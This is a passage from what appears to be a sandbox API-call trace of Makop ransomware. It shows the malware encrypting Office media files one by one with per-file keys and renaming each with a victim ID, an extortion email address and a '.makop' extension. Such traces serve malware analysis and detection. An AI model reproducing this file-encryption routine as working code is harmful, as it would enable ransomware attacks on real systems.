dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.933] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.933] GetProcessHeap () returned 0x48a0000 [0161.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.933] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.933] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.933] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.935] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5eda, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5eda, lpOverlapped=0x0) returned 1 [0161.936] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ee0, dwBufLen=0x5ee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ee0) returned 1 [0161.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5ee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5ee0, lpOverlapped=0x0) returned 1 [0161.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.937] SetEndOfFile (hFile=0xf0) returned 1 [0161.945] GetProcessHeap () returned 0x48a0000 [0161.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.945] GetProcessHeap () returned 0x48a0000 [0161.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.945] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.947] CloseHandle (hObject=0xf0) returned 1 [0161.947] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0161.947] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF") returned 61 [0161.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.948] GetProcessHeap () returned 0x48a0000 [0161.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.949] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.953] GetProcessHeap () returned 0x48a0000 [0161.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.954] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.954] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.954] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa80a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa80a, lpOverlapped=0x0) returned 1 [0161.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa810, dwBufLen=0xa810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa810) returned 1 [0161.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa810, lpOverlapped=0x0) returned 1 [0161.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.958] SetEndOfFile (hFile=0xf0) returned 1 [0161.966] GetProcessHeap () returned 0x48a0000 [0161.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.966] GetProcessHeap () returned 0x48a0000 [0161.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.966] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.968] CloseHandle (hObject=0xf0) returned 1 [0161.968] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0161.968] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF") returned 61 [0161.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.971] GetProcessHeap () returned 0x48a0000 [0161.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.971] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.976] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.976] GetProcessHeap () returned 0x48a0000 [0161.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.976] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.976] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.976] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ffa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ffa, lpOverlapped=0x0) returned 1 [0161.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2000, dwBufLen=0x2000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2000) returned 1 [0161.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2000, lpOverlapped=0x0) returned 1 [0161.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.980] SetEndOfFile (hFile=0xf0) returned 1 [0161.987] GetProcessHeap () returned 0x48a0000 [0161.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.988] GetProcessHeap () returned 0x48a0000 [0161.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.988] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.990] CloseHandle (hObject=0xf0) returned 1 [0161.990] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0161.990] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF") returned 61 [0161.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.991] GetProcessHeap () returned 0x48a0000 [0161.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.997] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.997] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.997] GetProcessHeap () returned 0x48a0000 [0161.997] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.997] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.997] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.999] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2068, lpOverlapped=0x0) returned 1 [0162.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2070, dwBufLen=0x2070 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2070) returned 1 [0162.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2070, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2070, lpOverlapped=0x0) returned 1 [0162.001] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.001] SetEndOfFile (hFile=0xf0) returned 1 [0162.008] GetProcessHeap () returned 0x48a0000 [0162.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.008] GetProcessHeap () returned 0x48a0000 [0162.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.008] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.010] CloseHandle (hObject=0xf0) returned 1 [0162.010] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 